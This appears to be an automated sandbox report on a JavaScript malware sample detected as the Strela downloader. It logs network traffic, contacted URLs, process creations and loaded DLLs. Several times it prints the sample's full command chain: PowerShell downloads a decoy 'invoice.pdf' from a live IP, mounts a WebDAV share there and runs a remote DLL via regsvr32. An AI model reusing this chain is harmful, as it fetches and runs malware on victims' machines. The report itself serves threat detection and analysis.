Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2040747533.0000029F9F025000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2042802057.0000029F9F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2088047798.0000029D02B29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2087113344.0000029D02B4C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2087972404.0000029D02AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2087518913.0000029D02B29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2088047798.0000029D02B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.2087972404.0000029D02AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3341707018.00000285F4400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2087333165.00000285F4160000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1216, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3062912729105825642.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3380:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkrfozpg.rvu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3062912729105825642.js

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,2908860732586160362,9786012212092137693,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,2908860732586160362,9786012212092137693,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
